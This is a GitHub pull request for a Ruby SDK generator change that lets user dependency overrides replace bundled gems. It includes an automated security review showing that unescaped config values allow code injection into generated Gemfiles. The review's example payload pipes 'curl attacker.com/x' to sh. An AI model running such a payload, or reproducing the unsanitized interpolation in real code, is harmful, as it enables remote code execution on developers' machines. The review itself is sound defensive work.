fix(ruby): ensure extraDependencies overrides take precedence over bundled deps#14586
fix(ruby): ensure extraDependencies overrides take precedence over bundled deps#14586
Conversation
🤖 Devin AI EngineerI'll be helping with this pull request! Here's what you should know: ✅ I will automatically:
Note: I can only respond to comments from users who have write access to this repository. ⚙️ Control Options:
|
3915c35 to
c690cff
Compare
There was a problem hiding this comment.
Claude Code Review
This repository is configured for manual code reviews. Comment @claude review to trigger a review and subscribe this PR to future pushes, or @claude review once for a one-time review.
Tip: disable this comment in your organization's Code Review settings.
| const extraDevDependencies = this.context.customConfig.extraDevDependencies; | ||
| // If user overrides this bundled dep, use their version constraint | ||
| if (extraDevDependencies != null && dep.name in extraDevDependencies) { | ||
| return `gem "${dep.name}", "${extraDevDependencies[dep.name]}"`; |
There was a problem hiding this comment.
Code injection via unescaped user config values in generated Ruby files
User-supplied extraDependencies and extraDevDependencies values from customConfig are interpolated directly into generated .gemspec and Gemfile content without any escaping or validation beyond z.record(z.string()). Ruby Gemfiles and gemspecs are eval'd in a Ruby context by Bundler (bundle install) and RubyGems (gem build), so a value containing " followed by a newline breaks out of the string literal and injects arbitrary Ruby.
Concrete example — extraDevDependencies: { rake: "~> 13.0\"\neval(\"system('curl attacker.com/x | sh')\")" } generates:
gem "rake", "~> 13.0"
eval("system('curl attacker.com/x | sh')")This executes when any developer on the team runs bundle install on the generated SDK. The same unescaped interpolation affects packageName keys (not just values) in getExtraDependenciesString and getExtraDevDependenciesString. The new getBundledDevDependencyLine introduced in this PR adds a third injection point at line 436.
Prompt To Fix With AI
In `getBundledDevDependencyLine`, `getExtraDependenciesString`, and `getExtraDevDependenciesString`, all user-supplied package names and version constraint strings must be sanitized before interpolation into Ruby source files.
Add a helper that rejects (throws) or strips characters that can break out of a double-quoted Ruby string literal — at minimum `"` (double quote) and newline (`\n`, `\r`). For example:
```typescript
function sanitizeRubyStringLiteral(value: string, fieldName: string): string {
if (/[\"\r\n\\]/.test(value)) {
throw new Error(
`Invalid character in ${fieldName}: "${value}". ` +
`Ruby string literals cannot contain unescaped quotes, backslashes, or newlines.`
);
}
return value;
}
```
Apply this to:
1. `packageName` and `versionConstraint` in `getExtraDependenciesString` (gemspec)
2. `packageName` and `versionConstraint` in `getExtraDevDependenciesString` (Gemfile)
3. `extraDevDependencies[dep.name]` in `getBundledDevDependencyLine` (Gemfile)
4. `requirePaths` entries in `ModuleFile.toString()` (the `.rb` module file)
The schema-level validation in `BaseRubyCustomConfigSchema` should also be tightened using `.regex()` refinements on the string fields to catch bad values early with a user-friendly message.Severity: medium | Confidence: 85%
…ndled deps Co-Authored-By: judah <jsklan.development@gmail.com>
Co-Authored-By: judah <jsklan.development@gmail.com>
Co-Authored-By: judah <jsklan.development@gmail.com>
…hots Co-Authored-By: judah <jsklan.development@gmail.com>
3f9b362 to
3f9dbc7
Compare
Description
Refs FER-9452
When a user specifies a bundled gem (e.g.,
base64,rake) inextraDependenciesorextraDevDependencies, the generator previously appended the custom entry alongside the bundled one, producing duplicatespec.add_dependency/gemlines. This made it impossible to pin a specific version of a bundled dep (e.g., for CVE remediation). The user-specified version now replaces the bundled one.Follows the same pattern as the Java generator fix in #14527.
Changes Made
GemspecFile):getBase64DependencyString()now checks whetherextraDependenciesalready includesbase64and skips emitting the bundled version if so.Gemfile): Extracted hardcoded dev dependency lines into aBUNDLED_DEV_DEPENDENCIESdata structure (alphabetically sorted). Each bundled dep is rendered throughgetBundledDevDependencyLine(), which substitutes the user's version constraint when present.getExtraDevDependenciesString()filters out overrides to avoid duplicates.Updates Since Last Revision
main(includes IR v66 upgrade in1.3.0-rc.0) to resolve merge conflicts.1.2.1→1.3.0-rc.1to follow the current release candidate series.validate-all-changelogs.shchange (already landed upstream onmain).Key Review Points
BUNDLED_DEV_DEPENDENCIESarray removes those visual separations, producing a compact alphabetically-sorted block. This causes a cosmetic diff for all 82 regenerated Gemfiles — not just those using overrides.bundledLines.join("\n ")uses 8 literal spaces to match thededenttemplate's indentation level. This works correctly but is fragile if the template indentation changes.inoperator is used onRecord<string, string>objects to check for key presence — correct for plain JS objects but worth a glance.extraDependencies/extraDevDependenciesto a bundled gem name. The existing seed tests only validate the non-override (default) output. Reviewer may want a dedicated fixture or may accept the current snapshot coverage.Human Review Checklist
inoperator checks onextraDependencies/extraDevDependenciescorrectly detect overrides (no prototype chain surprises on the config objects)1.3.0-rc.1is the correct version to use in the changelog (follows1.3.0-rc.0)Testing
ruby-sdk-v2) pass ✅compile,lint,biome,depcheck,test,test-eteall pass ✅Validate ChangelogsandValidate versions.yml filespass ✅Link to Devin session: https://app.devin.ai/sessions/c04bf88fb7a34e02ba5f262be509906e
Requested by: @jsklan